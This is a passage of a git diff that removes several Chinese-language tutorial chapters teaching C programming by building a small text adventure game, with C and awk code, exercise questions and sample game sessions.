行:附近的物体仍然隐藏在黑暗中,被视为'不在这里'。这自然可以防止游戏泄露玩家不应该知道的物体的信息。 - -::: warning 🤔 思考题:你还能想到那哪些可以改进的地方吗? -::: - -我们为实现 isLit 函数的功能从而使用了一个新的属性 light。 - -## object.awk - -```awk -BEGIN { - count = 0; - obj = ""; - if (pass == "c2") { - print "\nstatic bool alwaysTrue(void) { return true; }"; - print "\nOBJECT objs[] = {"; - } -} - -/^- / { - outputRecord(","); - obj = $2; - prop["condition"] = "alwaysTrue"; - prop["description"] = "NULL"; - prop["tags"] = ""; - prop["location"] = "NULL"; - prop["destination"] = "NULL"; - prop["prospect"] = ""; - prop["details"] = "\"You see nothing special.\""; - prop["contents"] = "\"You see\""; - prop["textGo"] = "\"You can't get much closer than this.\""; - prop["weight"] = "99"; - prop["capacity"] = "0"; - prop["health"] = "0"; - prop["light"] = "0"; - prop["open"] = "cannotBeOpened"; - prop["close"] = "cannotBeClosed"; - prop["lock"] = "cannotBeLocked"; - prop["unlock"] = "cannotBeUnlocked"; -} - -obj && /^[ \t]+[a-z]/ { - name = $1; - $1 = ""; - if (name in prop) { - prop[name] = $0; - if (/^[ \t]*\{/) { - prop[name] = name count; - if (pass == "c1") print "static bool " prop[name] "(void) " $0; - } - } - else if (pass == "c2") { - print "#error \"" FILENAME " line " NR ": unknown attribute '" name "'\""; - } -} - -!obj && pass == (/^#include/ ? "c1" : "h") { - print; -} - -END { - outputRecord("\n};"); - if (pass == "h") { - print "\n#define endOfObjs\t(objs + " count ")"; - print "\n#define validObject(obj)\t" \ - "((obj) != NULL && (*(obj)->condition)())"; - } -} - -function outputRecord(separator) -{ - if (obj) { - if (pass == "h") { - print "#define " obj "\t(objs + " count ")"; - } - else if (pass == "c1") { - print "static const char *tags" count "[] = {" prop["tags"] ", NULL};"; - } - else if (pass == "c2") { - print "\t{\t/* " count " = " obj " */"; - print "\t\t" prop["condition"] ","; - print "\t\t" prop["description"] ","; - print "\t\ttags" count ","; - print "\t\t" prop["location"] ","; - print "\t\t" prop["destination"] ","; - print "\t\t" prop[prop["prospect"] ? "prospect" : "destination"] ","; - print "\t\t" prop["details"] ","; - print "\t\t" prop["contents"] ","; - print "\t\t" prop["textGo"] ","; - print "\t\t" prop["weight"] ","; - print "\t\t" prop["capacity"] ","; - print "\t\t" prop["health"] ","; - print "\t\t" prop["light"] ","; - print "\t\t" prop["open"] ","; - print "\t\t" prop["close"] ","; - print "\t\t" prop["lock"] ","; - print "\t\t" prop["unlock"]; - print "\t}" separator; - delete prop; - } - count++; - } -} -``` - -默认情况下,亮度为零意味着一个物体不发光。在大白天的每一个地点(通常是除了地下的所有地点)都会被赋予一个正 (大于 0) 的光线值。其实是什么值并不重要,只要它不是零就可以了。我们还将添加一盏灯,玩家可以携带它来穿越黑暗区域。 - -## object.txt - -```txt -#include -#include -#include "object.h" -#include "toggle.h" - -typedef struct object { - bool (*condition)(void); - const char *description; - const char **tags; - struct object *location; - struct object *destination; - struct object *prospect; - const char *details; - const char *contents; - const char *textGo; - int weight; - int capacity; - int health; - int light; - void (*open)(void); - void (*close)(void); - void (*lock)(void); - void (*unlock)(void); -} OBJECT; - -extern OBJECT objs[]; - -- field - description "an open field" - tags "field" - details "The field is a nice and quiet place under a clear blue sky." - capacity 9999 - light 100 - //到目前为止,场地是唯一有 "自然 "光线的地方。 - -- cave - description "a little cave" - tags "cave" - details "The cave is just a cold, damp, rocky chamber." - capacity 9999 - -- silver - description "a silver coin" - tags "silver", "coin", "silver coin" - location field - details "The coin has an eagle on the obverse." - weight 1 - -- gold - description "a gold coin" - tags "gold", "coin", "gold coin" - location openBox - details "The shiny coin seems to be a rare and priceless artefact." - weight 1 - -- guard - description "a burly guard" - tags "guard", "burly guard" - location field - details "The guard is a really big fellow." - contents "He has" - health 100 - capacity 20 - -- player - description "yourself" - tags "yourself" - location field - details "You would need a mirror to look at yourself." - contents "You have" - health 100 - capacity 20 - -- intoCave - condition { return guard->health == 0 || silver->location == guard; } - description "a cave entrance to the east" - tags "east", "entrance" - location field - destination cave - details "The entrance is just a narrow opening in a small outcrop." - textGo "You walk into the cave." - open isAlreadyOpen - -- intoCaveBlocked - condition { return guard->health > 0 && silver->location != guard; } - description "a cave entrance to the east" - tags "east", "entrance" - location field - prospect cave - details "The entrance is just a narrow opening in a small outcrop." - textGo "The guard stops you from walking into the cave." - open isAlreadyOpen - -- exitCave - description "an exit to the west" - tags "west", "exit" - location cave - destination field - details "Sunlight pours in through an opening in the cave's wall." - textGo "You walk out of the cave." - open isAlreadyOpen - -- wallField - description "dense forest all around" - tags "west", "north", "south", "forest" - location field - details "The field is surrounded by trees and undergrowth." - textGo "Dense forest is blocking the way." - -- wallCave - description "solid rock all around" - tags "east", "north", "rock" - location cave - details "Carved in stone is a secret password 'abccb'." - textGo "Solid rock is blocking the way." - -- backroom - description "a backroom" - tags "backroom" - details "The room is dusty and messy." - capacity 9999 - -- wallBackroom - description "solid rock all around" - tags "east", "west", "south", "rock" - location backroom - details "Trendy wallpaper covers the rock walls." - textGo "Solid rock is blocking the way." - -- openDoorToBackroom - description "an open door to the south" - tags "south", "door", "doorway" - destination backroom - details "The door is open." - textGo "You walk through the door into a backroom." - open isAlreadyOpen - close toggleDoorToBackroom - -- closedDoorToBackroom - description "a closed door to the south" - tags "south", "door", "doorway" - location cave - prospect backroom - details "The door is closed." - textGo "The door is closed." - open toggleDoorToBackroom - close isAlreadyClosed - -- openDoorToCave - description "an open door to the north" - tags "north", "door", "doorway" - destination cave - details "The door is open." - textGo "You walk through the door into the cave." - open isAlreadyOpen - close toggleDoorToCave - -- closedDoorToCave - description "a closed door to the north" - tags "north", "door", "doorway" - location backroom - prospect cave - details "The door is closed." - textGo "The door is closed." - open toggleDoorToCave - close isAlreadyClosed - -- openBox - description "a wooden box" - tags "box", "wooden box" - details "The box is open." - weight 5 - capacity 10 - open isAlreadyOpen - close toggleBox - lock isStillOpen - unlock isAlreadyOpen - -- closedBox - description "a wooden box" - tags "box", "wooden box" - details "The box is closed." - weight 5 - open toggleBox - close isAlreadyClosed - lock toggleBoxLock - unlock isAlreadyUnlocked - -- lockedBox - description "a wooden box" - tags "box", "wooden box" - location backroom - details "The box is closed." - weight 5 - open isStillLocked - close isAlreadyClosed - lock isAlreadyLocked - unlock toggleBoxLock - -- keyForBox - description "a tiny key" - tags "key", "tiny key" - location cave - details "The key is really small and shiny." - weight 1 - -- lampOff - description "a lamp" - tags "lamp" - location field - details "The lamp is off." - weight 5 - -- lampOn - description "a lamp" - tags "lamp" - details "The lamp is on." - weight 5 - light 100 -``` - -注意:对于灯,我们实际上有两个对象:打开的灯和关闭的灯,但玩家一次只能看到一个。它们一起作为一个单一的项目。 - -我们将添加一些命令,我们可以用来打开和关闭灯。 - -## parsexec.c - -```c -#include -#include -#include -#include "object.h" -#include "misc.h" -#include "match.h" -#include "location.h" -#include "inventory.h" -#include "inventory2.h" -#include "openclose.h" -#include "onoff.h" - -typedef struct -{ - const char *pattern; - bool (*function)(void); -} COMMAND; - -static bool executeQuit(void) -{ - return false; -} - -static bool executeNoMatch(void) -{ - const char *src = *params; - int len; - for (len = 0; src[len] != '\0' && !isspace(src[len]); len++); - if (len > 0) printf("I don't know how to '%.*s'.\n", len, src); - return true; -} - -bool parseAndExecute(const char *input) -{ - static const COMMAND commands[] = - { - { "quit" , executeQuit }, - { "look" , executeLookAround }, - { "look around" , executeLookAround }, - { "look at A" , executeLook }, - { "look A" , executeLook }, - { "examine A" , executeLook }, - { "go to A" , executeGo }, - { "go A" , executeGo }, - { "get A from B" , executeGetFrom }, - { "get A" , executeGet }, - { "put A in B" , executePutIn }, - { "drop A in B" , executePutIn }, - { "drop A" , executeDrop }, - { "ask A from B" , executeAskFrom }, - { "ask A" , executeAsk }, - { "give A to B" , executeGiveTo }, - { "give A" , executeGive }, - { "inventory" , executeInventory }, - { "open A" , executeOpen }, - { "close A" , executeClose }, - { "lock A" , executeLock }, - { "unlock A" , executeUnlock }, - { "turn on A" , executeTurnOn }, - { "turn off A" , executeTurnOff }, - { "turn A on" , executeTurnOn }, - { "turn A off" , executeTurnOff }, - { "A" , executeNoMatch } - }; - const COMMAND *cmd; - for (cmd = commands; !matchCommand(input, cmd->pattern); cmd++); - return (*cmd->function)(); - } -``` - -下面是这些命令的实现。 - -## onoff.h - -```c -extern bool executeTurnOn(void); -extern bool executeTurnOff(void); -``` - -## onoff.c - -```c -#include -#include -#include "object.h" -#include "match.h" -#include "reach.h" -#include "toggle.h" - -bool executeTurnOn(void) -{ - OBJECT *obj = reachableObject("what you want to turn on", params[0]); - if (obj != NULL) - { - if (obj == lampOff) - { - toggleLamp(); - } - else - { - printf(obj == lampOn ? "The lamp is already on.\n" - : "You cannot turn that on.\n"); - } - } - return true; -} - -bool executeTurnOff(void) -{ - OBJECT *obj = reachableObject("what you want to turn off", params[0]); - if (obj != NULL) - { - if (obj == lampOn) - { - toggleLamp(); - } - else - { - printf(obj == lampOff ? "The lamp is already off.\n" - : "You cannot turn that off.\n"); - } - } - return true; -} -``` - -为了打开和关闭灯,我们将使用我们用来打开和关闭门和盒子的相同技巧(见第 13 章)。 - -## toggle.h - -```c -extern void cannotBeOpened(void); -extern void cannotBeClosed(void); -extern void cannotBeLocked(void); -extern void cannotBeUnlocked(void); - -extern void isAlreadyOpen(void); -extern void isAlreadyClosed(void); -extern void isAlreadyLocked(void); -extern void isAlreadyUnlocked(void); - -extern void isStillOpen(void); -extern void isStillLocked(void); - -extern void toggleDoorToBackroom(void); -extern void toggleDoorToCave(void); -extern void toggleBox(void); -extern void toggleBoxLock(void); - -extern void toggleLamp(void); -``` - -## toggle.c - -```c -#include -#include -#include "object.h" -#include "misc.h" -#include "location.h" - -static void swapLocations(const char *verb1, OBJECT *obj1, - const char *verb2, OBJECT *obj2) -{ - OBJECT *tmp = obj1->location; - OBJECT *obj = tmp != NULL ? obj1 : obj2; - const char *verb = tmp != NULL ? verb1 : verb2; - obj1->location = obj2->location; - obj2->location = tmp; - if (verb != NULL) printf("You %s %s.\n", verb, obj->description); -} - -void cannotBeOpened(void) { printf("That cannot be opened.\n"); } -void cannotBeClosed(void) { printf("That cannot be closed.\n"); } -void cannotBeLocked(void) { printf("That cannot be locked.\n"); } -void cannotBeUnlocked(void) { printf("That cannot be unlocked.\n"); } - -void isAlreadyOpen(void) { printf("That is already open.\n"); } -void isAlreadyClosed(void) { printf("That is already closed.\n"); } -void isAlreadyLocked(void) { printf("That is already locked.\n"); } -void isAlreadyUnlocked(void) { printf("That is already unlocked.\n"); } - -void isStillOpen(void) { printf("That is still open.\n"); } -void isStillLocked(void) { printf("That is locked.\n"); } - -void toggleDoorToBackroom(void) -{ - swapLocations(NULL, openDoorToCave, NULL, closedDoorToCave); - swapLocations("close", openDoorToBackroom, "open", closedDoorToBackroom); -} - -void toggleDoorToCave(void) -{ - swapLocations(NULL, openDoorToBackroom, NULL, closedDoorToBackroom); - swapLocations("close", openDoorToCave, "open", closedDoorToCave); -} - -void toggleBox(void) -{ - swapLocations("close", openBox, "open", closedBox); -} - -void toggleBoxLock(void) -{ - if (keyForBox->location == player) - { - swapLocations("lock", closedBox, "unlock", lockedBox); - } - else - { - printf("You don't have a key.\n"); - } -} - -void toggleLamp(void) -{ - bool oldLit = isLit(player->location); - swapLocations("turn off", lampOn, "turn on", lampOff); - if (oldLit != isLit(player->location)) - { - printf("\n"); - executeLookAround(); - } -} -``` - -注意:当在黑暗区域打开灯光时,我们立即让玩家看一下周围的环境。这与'go'的命令的行为是一致的:当你把目光投向一个地方时,'look'就会自动执行。 - -你可能注意到我们在这里做了同样的事情,当把灯关掉的时候,很明显,这只会返回 "这里很黑",但这似乎也是一个相关的观察。 - -那么,既然我们无论如何都在做 "look around "的工作,64~68 中"if "语句的意义何在?好吧,这可以防止在大白天(即在野外)打开或关闭灯时,或在同一房间内任何其他光源仍在工作时,进行无用的 "环顾"。 - -最后,我们将在我们生成的地图上标记出黑暗的位置。 - -## map.awk - -```awk -BEGIN { print "digraph map {\n\tnode [style=filled]"; } -/^- / { outputEdges(); obj = $2; delete a; } -/^[ \t]/ { a[$1] = $2; } -END { outputEdges(); outputNodes(); print "}"; } - -function outputEdges() -{ - color[obj] = a["light"] ? "white" : "grey"; - outputEdge(a["location"], a["destination"], ""); - outputEdge(a["location"], a["prospect"], " [style=dashed]"); -} - -function outputEdge(from, to, style) -{ - if (to) - { - nodes[to] = 1; - if (from) - { - nodes[from] = 1; - print "\t" from " -> " to style; - } - } -} - -function outputNodes() -{ - for (n in nodes) print "\t" n " [fillcolor=" color[n] "]"; -} -``` - -::: warning 🤔 思考题:尝试将上面的伪代码用 C 语言实现其功能 -::: - -玩家们,请注意不要把灯关掉,也不要把它丢掉。如果这样做,那么在黑暗中你将永远无法找回它。换言之,你会被困在黑暗之中!幸运的是,下一章将提供一个撤销笨拙行动的方法。 - -输出样例:Welcome to Little Cave Adventure. -You are in an open field. -You see: -a silver coin -a burly guard -a cave entrance to the east -dense forestall around -a lamp - ---> get lamp -You pick up a lamp. - ---> get coin -You pick up a silver coin. - ---> give coin -You give a silver coin to a burly guard. - ---> go cave -You walk into the cave. - -It is very dark here. -You see: -an exit to the west - ---> get key -It's too dark. - ---> open door -It's too dark. - ---> go south -It's too dark. - ---> turn lamp on -You turn on a lamp. - -You are in a little cave. -You see: -an exit to the west -solid rock all around -a closed door to the south -a tiny key - ---> look around -You are in a little cave. -You see: -an exit to the west -solid rock all around -a closed door to the south -a tiny key - ---> get key -You pick up a tiny key. - ---> open door -You open a closed door to the south. - ---> go south -You walk through the door into a backroom. - -You are in a backroom. -You see: -solid rock all around -an open door to the north -a wooden box - ---> quit - -Bye diff --git a/技术资源汇总(杭电支持版)/3.编程思维体系构建/3.4.6.16.结语:你终将自由.md b/技术资源汇总(杭电支持版)/3.编程思维体系构建/3.4.6.16.结语:你终将自由.md deleted file mode 100644 index 660e468..0000000 --- a/技术资源汇总(杭电支持版)/3.编程思维体系构建/3.4.6.16.结语:你终将自由.md +++ /dev/null @@ -1,15 +0,0 @@ -# 结语:你终将自由 - -15 章的内容,你已经实现了一个最基本游戏的最基本功能,不知道你是不是感觉到满满的成就感呢? - -但是还是有非常多可以做的可以思考的。 - -比如说,你可以增加战斗功能,你可以设计自动生成的测试样例,你甚至可以添加联网联机功能,真正构造一个奇幻的世界。 - -我相信你经过上面的训练,已经初步理解了结构化编程的基本要义,可以走向更广阔罗的世界且游刃有余的自由的处理它了。 - -希望你可以牢记其中各种设计原则,并且不断精进不断练习。 - -也许有的同学没有完整的将他刷完,那也没关系,你完全可以在进行一小部分后就进行后面的实验。 - -不会造成什么太大的影响的,只不过你可能编程能力上会失去一个宝贵的锻炼机会罢了。 diff --git a/技术资源汇总(杭电支持版)/3.编程思维体系构建/3.4.6.2.探索未知.md b/技术资源汇总(杭电支持版)/3.编程思维体系构建/3.4.6.2.探索未知.md deleted file mode 100644 index 8c15503..0000000 --- a/技术资源汇总(杭电支持版)/3.编程思维体系构建/3.4.6.2.探索未知.md +++ /dev/null @@ -1,153 +0,0 @@ -# 2.探索未知 - -::: tip **驾驭项目,而不是被项目驾驭** - -你和一个项目的关系会经历 4 个阶段: - -1. 被驾驭:你对它一无所知 -2. 一知半解:你对其中的主要模块和功能有了基本的了解 -3. 驾轻就熟:你对整个项目的细节都了如指掌 -4. 为你所用:你可以随心所欲地在项目中添加你认为有用的功能 - -如果你想要达成第二个阶段,你需要仔细学习不断探索更新的内容,达到第三个阶段的主要手段是独立完成实验内容和独立调试。至于要达到第四个阶段,就要靠你的主观能动性了:代码还有哪里做得不够好?怎么样才算是够好?应该怎么做才能达到这个目标? - -你毕业后到了工业界或学术界,就会发现真实的项目也都是这样: - -1. 刚接触一个新项目,不知道如何下手 -2. RTFM, RTFSC, 大致明白项目组织结构和基本的工作流程 -3. 运行项目的时候发现有非预期行为 (可能是配置错误或环境错误,可能是和已有项目对接出错,也可能是项目自身的 bug), 然后调试。在调试过程中,对这些模块的理解会逐渐变得清晰。 -4. 哪天需要你在项目中添加一个新功能,你会发现自己其实可以胜任。 - -这说明了:如果你一遇到 bug 就找大神帮你调试,你失去的机会和能力会比你想象的多得多 - -::: -文字冒险游戏的基本交互很简单 - -1. 玩家输入命令。 -2. 程序 [解析](http://en.wikipedia.org/wiki/Parsing) 并执行命令。 -3. 重复步骤 1 和 2,直到玩家决定退出 - -那么,当命令很多的时候,如果你将他写在一起,一个文件有五六千行,我相信这样的情况你是不愿意去看的,因此,我们引入了函数的概念。 - -::: warning 🤔 自行了解函数的概念,同时去了解当我需要引用别的文件的函数时该怎么办? - - 了解一下什么是“驼峰原则”,我们为什么要依据它命名函数? -::: -下面的代码示例包含三个函数,每个步骤一个函数: - -1. 函数*getInput*。 -2. 函数*parseAndExecute*。 -3. 函数*main*,负责重复调用其他两个函数。 - -## main.c - -```c -#include -#include -#include "parsexec.h" -//当我需要引用别的文件 -static char input[100] = "look around"; -//定义全局变量 -static bool getInput(void) -{ - printf("\n--> "); - //你可以将他改成你喜欢的内容 - return fgets(input, sizeof input, stdin) != NULL; - //fgets 用于收集键盘的输入 -} - -int main() -{ - printf("Welcome to Little Cave Adventure.\n"); - while (parseAndExecute(input) && getInput()); - printf("\nBye!\n"); - return 0; -} -``` - -注意:某些老版本的 C 语言不支持 bool 选项,你将他改为 int 是一样的。 - -::: warning 🤔 思考题:static 是什么意思?我为什么要用他? -::: - -## **parsexec.h** - -```c -extern bool parseAndExecute(char *input); -``` - -::: warning 🤔 思考题: -extern 是干什么的?.h 文件又在干嘛? - -哇,我用了一个指针!input 前面是个指针!!! - -指针是啥?[C 指针详解](https://www.runoob.com/w3cnote/c-pointer-detail.html) STFW(虽然都给你了) - -在这里用指针是为了传参的时候可以传字符串哦 -::: - -## **parsexec.c** - -```c -#include -#include -#include - - -bool parseAndExecute(char *input) -{ - char *verb = strtok(input, " \n"); - char *noun = strtok(NULL, " \n"); - //strtok 是 string 库下的一个函数 - if (verb != NULL) - { - if (strcmp(verb, "quit") == 0) - //strcmp 也是 - { - return false; - } - else if (strcmp(verb, "look") == 0) - { - printf("It is very dark in here.\n"); - } - else if (strcmp(verb, "go") == 0) - { - printf("It's too dark to go anywhere.\n"); - } - else - { - printf("I don't know how to '%s'.\n", verb); - //%s是 verb 附加参数的占位符 - } - } - return true; -} -``` - -你的编译器可能会给出警告 the unused variable‘noun’,这些不用担心,将会在下一章解决。 - -返回*false*将导致主循环结束。 - -::: warning **RTFM&&STFW** -搞懂 strtok 和 strcmp 的用法 -::: - -考虑一下 NULL 是干什么的 - -测试样例 - -Welcome to Little Cave Adventure. -It is very dark in here. - ---> go north -It's too dark to go anywhere. - ---> look around -It is very dark in here. - ---> eat sandwich -I don't know how to 'eat'. - ---> quit - -Bye diff --git a/技术资源汇总(杭电支持版)/3.编程思维体系构建/3.4.6.3.指明地点.md b/技术资源汇总(杭电支持版)/3.编程思维体系构建/3.4.6.3.指明地点.md deleted file mode 100644 index e357152..0000000 --- a/技术资源汇总(杭电支持版)/3.编程思维体系构建/3.4.6.3.指明地点.md +++ /dev/null @@ -1,274 +0,0 @@ -# 3.指明地点 - -::: warning 某种极其糟糕的编程习惯 -Copy-paste - -我们很多同学在编程的过程中,可能会写出一大堆重复性很强的代码,在最近看的 pa 中,举了这样一个例子,你不需要看懂只需要感受到就可: -::: - -```c -if (strcmp(s, "$0") == 0) - return cpu.gpr[0]._64; -else if (strcmp(s, "ra") == 0) - return cpu.gpr[1]._64; -else if (strcmp(s, "sp") == 0) - return cpu.gpr[2]._64; -else if (strcmp(s, "gp") == 0) - return cpu.gpr[3]._64; -else if (strcmp(s, "tp") == 0) - return cpu.gpr[4]._64; -else if (strcmp(s, "t0") == 0) - return cpu.gpr[5]._64; -else if (strcmp(s, "t1") == 0) - return cpu.gpr[6]._64; -else if (strcmp(s, "s2") == 0) - return cpu.gpr[7]._64; -else if (strcmp(s, "s0") == 0) - return cpu.gpr[8]._64; -else if (strcmp(s, "s1") == 0) - return cpu.gpr[9]._64; -else if (strcmp(s, "a0") == 0) - return cpu.gpr[10]._64; -else if (strcmp(s, "a1") == 0) - return cpu.gpr[11]._64; -else if (strcmp(s, "a2") == 0) - return cpu.gpr[12]._64; -else if (strcmp(s, "a3") == 0) - return cpu.gpr[13]._64; -else if (strcmp(s, "a4") == 0) - return cpu.gpr[14]._64; -else if (strcmp(s, "a5") == 0) - return cpu.gpr[15]._64; -else if (strcmp(s, "a6") == 0) - return cpu.gpr[16]._64; -else if (strcmp(s, "a7") == 0) - return cpu.gpr[17]._64; -else if (strcmp(s, "s2") == 0) - return cpu.gpr[18]._64; -else if (strcmp(s, "s3") == 0) - return cpu.gpr[19]._64; -else if (strcmp(s, "s4") == 0) - return cpu.gpr[20]._64; -else if (strcmp(s, "s5") == 0) - return cpu.gpr[21]._64; -else if (strcmp(s, "s6") == 0) - return cpu.gpr[22]._64; -else if (strcmp(s, "s7") == 0) - return cpu.gpr[23]._64; -else if (strcmp(s, "s8") == 0) - return cpu.gpr[24]._64; -else if (strcmp(s, "s8") == 0) - return cpu.gpr[25]._64; -else if (strcmp(s, "s10") == 0) - return cpu.gpr[26]._64; -else if (strcmp(s, "t2") == 0) - return cpu.gpr[27]._64; -else if (strcmp(s, "t3") == 0) - return cpu.gpr[28]._64; -else if (strcmp(s, "t4") == 0) - return cpu.gpr[29]._64; -else if (strcmp(s, "t5") == 0) - return cpu.gpr[30]._64; -else if (strcmp(s, "t5") == 0) - return cpu.gpr[31]._64; -``` - -以下是某论文的代码节选,可以说是错误的范例: - -```python -fx = torch.cat((xs[0], fs[0], xs[1], fs[1], xs[2], fs[2], xs[3], fs[3], xs[4], fs[4], xs[5], fs[5], xs[6], fs[6], xs[7], fs[7], - xs[8], fs[8], xs[9], fs[9], xs[10], fs[10], xs[11], fs[11], xs[12], fs[12], xs[13], fs[13], xs[14], fs[14], xs[15], fs[15], - xs[16], fs[16], xs[17], fs[17], xs[18], fs[18], xs[19], fs[19], xs[20], fs[20], xs[21], fs[21], xs[22], fs[22], xs[23], fs[23], - xs[24], fs[24], xs[25], fs[25], xs[26], fs[26], xs[27], fs[27], xs[28], fs[28], xs[29], fs[29], xs[30], fs[30], xs[31], fs[31]), 1) -bx = torch.cat((xs[0], bs[0], xs[1], bs[1], xs[2], bs[2], xs[3], bs[3], xs[4], bs[4], xs[5], bs[5], xs[6], bs[6], xs[7], bs[7], - xs[8], bs[8], xs[9], bs[9], xs[10], bs[10], xs[11], bs[11], xs[12], bs[12], xs[13], bs[13], xs[14], bs[14], xs[15], bs[15], - xs[16], bs[16], xs[17], bs[17], xs[18], bs[18], xs[19], bs[19], xs[20], bs[20], xs[21], bs[21], xs[22], bs[22], xs[23], bs[23], - xs[24], bs[24], xs[25], bs[25], xs[26], bs[26], xs[27], bs[27], xs[28], bs[28], xs[29], bs[29], xs[30], bs[30], xs[31], bs[31]), 1) -``` - -::: tip 你想想,你遇到这么长的代码,你愿意看他吗? - -更可怕的是,这种编码模式可能会导致意想不到的 bug。 - -当你发现这些代码有 bug 的时候,噩梦才刚刚开始。也许花了好几天你又调出一个 bug 的时候,才会想起这个 bug 你好像之前在哪里调过。你也知道代码里面还有类似的 bug, 但你已经分辨不出哪些代码是什么时候从哪个地方复制过来的了。 - -这种糟糕的编程习惯叫 Copy-Paste, 经过上面的分析,相信你也已经领略到它的可怕了。事实上,[周源源教授](https://cseweb.ucsd.edu/~yyzhou/)的团队在 2004 年就设计了一款工具 CP-Miner, 来自动检测操作系统代码中由于 Copy-Paste 造成的 bug. 这个工具还让周源源教授收获了一篇[系统方向顶级会议 OSDI 的论文](http://pages.cs.wisc.edu/~shanlu/paper/OSDI04-CPMiner.pdf), 这也是她当时所在学校 UIUC 史上的第一篇系统方向的顶级会议论文。 - -后来周源源教授发现,相比于操作系统,应用程序的源代码中 Copy-Paste 的现象更加普遍。于是她们团队把 CP-Miner 的技术应用到应用程序的源代码中,并创办了 PatternInsight 公司。很多 IT 公司纷纷购买 PatternInsight 的产品,并要求提供相应的定制服务,甚至 PatternInsight 公司最后还被 VMWare 收购了。 - -这个故事折射出,大公司中程序员的编程习惯也许不比你好多少,他们也会写出 Copy-Paste 这种难以维护的代码。但反过来说,重视编码风格这些企业看中的能力,你从现在就可以开始培养。 -::: - -*传统上,文本冒险是由(许多)不同位置组成的虚拟世界。虽然这不是必需的(一些冒险发生在一个房间里!),但这是解释**数据结构**使用的好方法。* - -我们首先定义一个[结构](http://en.wikipedia.org/wiki/Struct_(C_programming_language))来表示一个位置。它包含两个简单的属性开始(稍后可能会有更多的属性)。 - -1. 描述:对物品进行描述 -2. 标记:具体的对其进行标记 - -```c -struct location { - const char *description; - const char *tag; - }; -``` - -::: warning 🤔 思考题: - 我们为什么要用结构体来保存位置? - - 这样子做有什么好处? - - const 又是什么? -::: - -接下来,我们定义一个位置数组。目前,我们保持它非常简单:只有两个位置。 - -```c -struct location locs[2]; -``` - -我们还可以使用初始值设定项立即填充所有静态数据。 - -```c -struct location locs[2] = { - {"an open field", "field"}, - {"a little cave", "cave"} -}; -``` - -让我们把它付诸实践。在上一章(*parsexec.c)* 的代码示例中,我们更改了第 4、18 和 22 行)。 - -## parsexec.c - -```c -#include -#include -#include -#include "location.h" - -bool parseAndExecute(char *input) -{ - char *verb = strtok(input, " \n"); - char *noun = strtok(NULL, " \n"); - if (verb != NULL) - { - if (strcmp(verb, "quit") == 0) - { - return false; - } - else if (strcmp(verb, "look") == 0) - { - executeLook(noun); - } - else if (strcmp(verb, "go") == 0) - { - executeGo(noun); - } - else - { - printf("I don't know how to '%s'.\n", verb); - } - } - return true; -} -``` - -接下来,我们将一个新模块添加到项目中 - -## location.h - -```c -extern void executeLook(const char *noun); -extern void executeGo(const char *noun); -``` - -## location.c - -```c -#include -#include - -struct location { - const char *description; - const char *tag; -} -locs[] = { - {"an open field", "field"}, - {"a little cave", "cave"} -}; - -#define numberOfLocations (sizeof locs / sizeof *locs) -//欸?这个是干啥呢? -static unsigned locationOfPlayer = 0; - -void executeLook(const char *noun) -{ - if (noun != NULL && strcmp(noun, "around") == 0) - { - printf("You are in %s.\n", locs[locationOfPlayer].description); - } - else - { - printf("I don't understand what you want to see.\n"); - } -} - -void executeGo(const char *noun) -{ - unsigned i; - for (i = 0; i < numberOfLocations; i++) - { - if (noun != NULL && strcmp(noun, locs[i].tag) == 0) - { - if (i == locationOfPlayer) - { - printf("You can't get much closer than this.\n"); - } - else - { - printf("OK.\n"); - locationOfPlayer = i; - executeLook("around"); - } - return; - } - } - printf("I don't understand where you want to go.\n"); -} -``` - -在 C 语言中,你可以使用单个语句来定义类型(*结构位置*),声明变量(*locs*)并用其初始值填充它。 - -思考题:变量*locs*是[静态分配的](http://en.wikipedia.org/wiki/Static_memory_allocation),什么是静态分配? - -静态分配和动态分配有什么不同之处? - -复杂思考题:13 行宏定义好像实现了一个函数!很神奇!为什么不用函数来做这个知识呢? - -提示:这个问题涉及编程从代码到可执行文件的四个步骤,希望你可以认真学习和思考,如果你用 Linux 去完成。你可以尝试用 gcc 逐步输出编译结果。 - -测试样例: - -Welcome to Little Cave Adventure. -You are in an open field. - ---> go cave -OK. -You are in a little cave. - ---> go field -OK. -You are in an open field. - ---> go field -You can't get much closer than this. - ---> look around -You are in an open field. - ---> go kitchen -I don't understand where you want to go. - ---> quit - -Bye! diff --git a/技术资源汇总(杭电支持版)/3.编程思维体系构建/3.4.6.4.创建对象.md b/技术资源汇总(杭电支持版)/3.编程思维体系构建/3.4.6.4.创建对象.md deleted file mode 100644 index 1665537..0000000 --- a/技术资源汇总(杭电支持版)/3.编程思维体系构建/3.4.6.4.创建对象.md +++ /dev/null @@ -1,360 +0,0 @@ -# 4.创建对象 - -*在我们继续之前,我们在这里使用的是[哲学意义上](https://en.wikipedia.org/wiki/Object_(philosophy))的“对象”一词。它与[面向对象编程](https://en.wikipedia.org/wiki/Object-oriented_programming)无关,也与Java,C#和Python等编程语言中预定义的“对象”类型没有任何共同之处。下面,我将定义一个名为 object 的结构体。* - -冒险游戏中的大多数谜题都围绕着**物品**。例子: - -- 必须找到一把钥匙,然后用来解锁某扇门。 -- 必须杀死守卫或者诱骗守卫才能开启房间 - -所以,为了表示这个物品,我们可以使用如下[结构](http://en.wikipedia.org/wiki/Struct_(C_programming_language)): - -- **\*description: 对物品的描述** -- **\*tag: 物品的类型** -- **\*location: 物品所在的位置。这是对应上一章中定义的物品位置的指针。** - -```c -struct object { - const char *description; - const char *tag; - struct location *location; -} -objs[] = { - {"a silver coin", "silver", &locs[0]}, - {"a gold coin" , "gold" , &locs[1]}, - {"a burly guard", "guard" , &locs[0]} -}; -``` - -我们发现这一章的物品的信息和上一章好像也差不多呀,所以我们直接把他合并好了! - -```c -struct object { - const char *description; - const char *tag; - struct object *location; -} -objs[] = { - {"an open field", "field" , NULL}, - {"a little cave", "cave" , NULL}, - {"a silver coin", "silver", &objs[0]}, - {"a gold coin" , "gold" , &objs[1]}, - {"a burly guard", "guard" , &objs[0]} -}; -``` - -这样子我们的代码就会看起来更加简洁! - -我们发现 OBJECT 的结构体里面有一个指针和自己长得一样,不用担心,这和链表的操作类似。 - -::: warning 🤔 思考题: -链表是什么,为什么要有这么一个操作指针? - -链表和数组有什么异同点,他们分别在增删改查上有什么优劣? -::: - -为了更容易地用那些所谓的物品或者是地点,我们将为每个元素定义一个名字 - -```c -#define field (objs + 0) -#define cave (objs + 1) -#define silver (objs + 2) -#define gold (objs + 3) -#define guard (objs + 4) -``` - -如何用各个元素的指针来方便的进行操作呢? - -```c -printf("You are in %s.\n", field->description); -``` - -然后用这样的操作可以列出一个物品里面所有的小东西 - -```c -struct object *obj; -for (obj = objs; 